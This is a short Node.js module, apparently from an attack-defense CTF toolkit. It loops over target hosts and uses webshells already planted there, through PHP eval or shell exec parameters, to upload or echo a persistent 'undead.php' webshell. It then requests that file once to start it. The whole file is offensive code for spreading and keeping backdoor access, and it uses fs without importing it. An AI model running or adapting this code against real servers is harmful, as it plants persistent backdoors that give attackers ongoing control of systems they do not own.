const request = require('superagent');
module.exports = async function(self, webshell, path=''){
	if (!webshell) {
		console.log('use default webshell: undead.php');
		webshell = 'undead.php'; // 默认shell
	}
	let fullwebshell = './webshell/' + webshell;
	for(let target of self.namespace.targets){
		if (target.state === false) continue;
		for(let ws of self.namespace.webshells){
			let url = `${target.id}${ws.uri}`,
				//shellname = self.namespace.shellname,
				shellname = webshell,
				txt = '';
			if (ws.type === 'eval') txt = `move_uploaded_file($_FILES['file']['tmp_name'], '${path}${shellname}');echo 'upload end.';`;
			else if (ws.type === 'exec') txt = 'echo "' + fs.readFileSync(fullwebshell).toString().trim() + `" > ${path}${shellname}`;
			// console.log(txt);
			let req = request.post(url)
				// .proxy('http://127.0.0.1:8888')

			if (ws.type === 'eval') 
				req.attach('file', fullwebshell)
					.field(ws.pwd, txt)
			else if (ws.type==='exec')
				req.send(`${ws.pwd}=${txt}`)
			
			let result = await req.then(async res => {
				console.log(res.text);
				await request.get(`${url}/${path}${shellname}`); // 执行一次
				return true;
			})
			if (result) break;
		}
	}
}